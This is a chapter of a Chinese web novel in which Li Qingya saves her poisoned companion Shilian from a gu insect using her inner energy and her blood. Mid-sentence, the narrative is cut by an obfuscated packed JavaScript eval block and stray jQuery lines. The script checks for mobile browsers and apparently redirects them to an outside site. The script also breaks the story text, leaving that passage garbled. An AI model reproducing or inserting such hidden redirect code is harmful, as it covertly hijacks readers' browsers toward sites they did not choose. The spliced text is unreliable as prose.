假山狭窄的通道中,厉青崖被世怜压在石壁上亲吻,石壁间回响的轻微水声,让她恨不得捂住发烫的耳尖。
抚在她脸上的大手,拇指不住摩挲。从身上传来的陌生酥麻感,让她失了神。
像是在惩罚她的走神,世怜在厉青崖的唇上微微用力,想要夺回她的心神。原本微凉的唇在亲吻中变得火热,像在干柴上点燃了火星,瞬间蔓延她全身。
厉青崖的舌尖迎了上去,双手勾住他紧紧贴近她,像要融为一体。她反客为主压上去,毫不客气拿回主动权。
世怜喉间一声笑意隐没,任由她在他口中肆意搅动。
他们吻得难舍难分,越吻越动情。世怜另一只手贴在她后背流连,两人摩擦中,衣衫渐乱。
“啪”的一声,从厉青崖怀里掉落一件物什。这动静瞬间拉回她和世怜摇摇欲坠的理智,厉青崖和世怜的唇这才分开。
此时暮光西斜,假山里光线变暗,唯有池塘边青蛙咕呱声,和她的心跳声在耳边响起。
世怜前襟微敞,厉青崖送他的蛇形颈环露了出来。而她自己也好不到哪去,衣襟略微凌乱。
世怜低垂眼眸,默默整理衣襟。厉青崖整个胸口都在鼓噪,不敢回忆刚才她和世怜都做了什么。要不是被声音惊醒,差点就擦枪走火了。
她胡乱扒拉衣服,越扯越乱。
随着一声轻笑,一双手伸了过来,替她整理衣衫,厉青崖涨了个大红脸。
清冽的声音满是笑意:“今晚你不会再走了吧?青崖你好狠的心,留我一人孤枕难眠。”
厉青崖轻拍他胸膛嗔道:“少啰嗦。”
原本两人的别扭、怀疑,通过一个吻,消弭了。
世怜蹲下捡起掉落在地的袖标,递给她,她接了过来。
“完啦!”厉青崖僵在原地,她忽然想起原本三公子和她约好去给她拿阵法,可她被世怜按在假山上狠狠吻住时,早把三公子忘在脑后。他们亲吻时,三公子就在不远处喊她的名字。他们两个人简直太不知廉耻了!
“都怪你!”厉青崖瞪他,用袖标抵在他胸前。
“好,怪我。”世怜边笑边捉住她的手,拉着她向外走。
厉青崖有点心虚,见假山外无人,三公子也早不见踪影,这才放松下来任他拉着。
两人回去路上,空气清新,虫鸣声悦耳。
厉青崖心思一动,刚刚差点走火,今晚他们还睡在一张床上,要怎么睡?他们俩现在到底是什么关系?
她望向世怜,世怜眉眼舒展,嘴角噙笑,见她望向他,朝她眨了下眼。厉青崖赶紧撇过头去,身旁传来轻笑声。
两人走到后山凉亭,眺望远方的层层大山,一扫前几日的烦闷。
厉青崖脑子里还在苦恼晚上怎么睡觉,余光中瞥见世怜身体一僵,她有所预感转过头,世怜重重朝前喷出一大口鲜血,身子像薄纸一般往后倒。
“世怜!”厉青崖神魂巨震,上前一步揽住他,两人摔坐在地。
世怜双眼睁大,身体止不住抖动,嘴角源源不断流出鲜血,不一会儿血在地上汇成一滩血水,随着时间流逝越汇越大。
他痛苦闷哼一声,额上青筋暴起,环抱自己缩成一团,颤抖得像风中的落叶。厉青崖托着他的背早已被冷汗打湿,她怀里的躯体愈发冰凉。
世怜完全说不出话。
“我去找大夫,你等我!”厉青崖吓得近乎魂飞魄散,搂住世怜的手在发软。
她刚要起身,世怜转过头,脸色灰白,手拉住她衣角,头微微摆动,用嘴型无声道“不要”,眼睛哀求般死死盯着她。
厉青崖心如刀绞。若她不去找大夫,世怜再这样下去,必没有活路。可他疼痛难耐中,仍旧祈求她,她无法拒绝他的要求。
难道世怜的旧疾复发,他知道寨里的大夫治不了,所以不让她找大夫?
可距离他上次发病还不到一个月,之前他们在山间木屋里,他的反应也不如这次大。这次还一直在喷血,倒像是新染的疾病。在假山那会儿还好好的,怎么会突然吐血,他中间有碰过什么东西吗?
厉青崖强迫自己回忆,眼睛盯着世怜愈发灰白的脸,他的呼吸声渐渐变弱。
她的视线顺着往下扫,身子一僵。她看见世怜颈上的蛇形颈环已变黑,世怜竟然不知不觉中被下了毒?!
厉青崖震怒。
她攥紧拳头,再一次强迫自己冷静下来仔细回忆,思索片刻,视线倏地凝住了,从怀里远远扔出写着“六队”的袖章,气得浑身直发抖。
厉青崖一把取下世怜的颈环,拧开蛇头,将里面的解毒药给世怜喂下去。不出片刻,世怜嘴角不再流血,脸上的死灰也逐渐消散,可他仍咬牙颤抖。她都能听到他牙齿发颤的咯咯声。
不够,光是解毒药还不够。
厉青崖一边用手帕擦拭他脸上的残血,一边逼着自己大脑再度转动。
若苗女的下毒目标是世怜,平日接触有很多机会。而这毒下在她的袖章上,苗女还亲自交给她,说明苗女的目标是她。可她放在怀里大半天,并未出现异状。
她和世怜有什么区别?为什么世怜中毒,而她却没事?
一块手帕擦不净世怜身上的血,厉青崖看着手心不小心沾到的暗红色血,不由得想起她的内力异状,想起她体内有被师父称作是“宝物”的蛊。难道是因为它?
也就是说,苗女下的不是毒,而是蛊!这也印证了世怜接触袖章并没马上毒发,而是好一会儿才发作。厉青崖体内的蛊虫,反而帮她免于中蛊毒。而世怜因为帮她捡袖章,蛊毒就种在他身上。他是因为她而遭的罪,替她挡的灾,为此几近死去!
这是针对她的阴谋,却报应在世怜身上。厉青崖重拳捶地。
她望着痛苦到满脸扭曲,意识模糊到无意识呻吟的世怜,心如刀锯。
他的唇冻得发白,半个时辰前这双薄唇还在她唇上碾过,现在却奄奄一息,毫无生机。联想到在山间木屋那晚,他也疼得不省人事,世怜体内是否早就被下过蛊虫,所以定期病发。而今晚又中了另外一种蛊毒,现在,他体内有了两种蛊虫。
是谁给世怜下了第一层蛊毒?施府?
若她体内的蛊虫能保她不中蛊毒,那是不是也能救世怜?可这蛊虫她和师父尝试好几年,都弄不出来。要怎样才能救他?
“......冷......好冷......”世怜嘴边溢出的呻吟唤回厉青崖的注意。
她紧紧搂住他,像搂住她的全世界,努力把自己的体温传过去。可效果甚微。
厉青崖望向自己掌心,惨笑一声。
她体内的蛊虫似乎缠上她的内力,若她将内力传出去,是否能一并把蛊虫渡出去?
昨天的比试她内力不稳,几近全无,后来也只恢复了一点。现在她体内不剩多少内力,若渡给世怜,很大可能就真的内力尽失。若没了内力,没有武力加持,她可能完不成第二项试炼,也无缘寨主之位了。
世怜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503950|181702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的眉毛似蹙非蹙,双眼紧闭,贝齿咬住下唇,环抱身体的指尖捏得发白,呼吸声像风箱般急促又沉重,似乎每一次呼吸他都在拼尽全力,想要活下去。隐约的痛呼声隐没在喉间。
厉青崖的指尖在世怜眉间游走,想抚平他紧皱的眉。
这是她欠世怜的,就还了他罢。
她扶起世怜背靠凉亭柱子,食指中指并拢,双手指剑交叉,闭眼运气,与世怜对掌,将体内仅剩的内力尽数传过去。
传功间,厉青崖明显感觉到与她手掌相对的冰块般的手心,似乎在慢慢融化。世怜体温不断攀升,惨白的脸上逐渐恢复一丝血色,他打冷颤的幅度也有所减轻。
他的手心像粘在了厉青崖手上,无意识中摩挲她的掌心,像是亲昵地撒娇,他在主动追逐温暖。
而厉青崖则从一开始的吓出冷汗,到传功时身体热气蒸腾,再到传完功后身体虚浮。体内的内力尽数榨干,一滴不剩。
只见世怜体温稍许回暖,可他体内的蛊虫仍未被她的内力逼出,他的呼吸气若游丝,仿佛下一秒就断了。
怎么办?她已经把内力都渡给世怜了,怎么还不行?这蛊虫要怎样才出来?
厉青崖眼睁睁看着世怜衰弱下去,浑身跟着世怜一起颤抖,手上不稳,几近无力扶住他。
世怜不能死。她厉青崖绝不让世怜死在她面前,还是受她牵连而死。她才刚认清自己的心,他们还有很多事没一起做,怎能让他就此死去。
快想!还能有什么办法?她若现在去抓始作俑者过来现剐,是否也能解蛊毒?
厉青崖慌里慌张握着身旁的刀,腿脚一软,起身间差点把自己绊倒。
世怜的脸逐渐青灰,她现在无论去找大夫还是抓苗女过来,都已经来不及了。
那她身上还有什么能救他?
倘若她的内力不行,那她的血呢?厉青崖体内的蛊虫在她身上已八年,和她早已融为一体,她的血说不定含有该蛊虫的功效。之前师父说过它是宝物,那她就信他一回。
厉青崖一把抽出刀,利落在手腕上划一大口子,血珠争先恐后涌出来。她捏开世怜的嘴,将手腕放在他唇上,血水从她手上滑落进世怜嘴里。
她手下的脸庞一歪,血顺着他脖子流下去。世怜嘴巴紧闭,颤抖着仍无声挣扎着。
“喝下去!”厉青崖痛声道。
世怜毫无反应,似乎半陷入昏迷中也不愿喝她的血。
厉青崖不信邪,再次将手腕重重往他嘴里塞,世怜闭着眼呜咽,脑袋不住往一旁躲。
厉青崖大怒,抬起手腕猛吸一口血,对着世怜的嘴喂下去。
世怜一开始还在无意识挣扎,厉青崖用舌尖撬开他的唇,将血水喂进去,嘴里充斥浓浓的铁锈味。她边喂边用舌尖轻触世怜的舌,像在安抚他。
世怜的舌像被激活一般,瞬间缠了上去。两人的舌交缠共舞,分不清是在喂血还是在传达心意。
世怜似是认出她来,不再挣扎。她喂进去的血也尽数吞咽下去。
直到厉青崖头晕目眩,才停止喂血,用外衫在手上随便包扎。世怜的脸色逐渐红润。
倏地,他转头猛喷一口黑血,血中有一个极小的身影在蠕动。厉青崖一刀了结了这只蛊虫,蛊虫炸开,虫身四散飞溅。
厉青崖嫌恶地用手帕擦掉被溅到的刀身,回头看世怜,他的呼吸声平稳有规律。
他活下来了!
厉青崖脚一软,瘫坐在地,喜极而泣。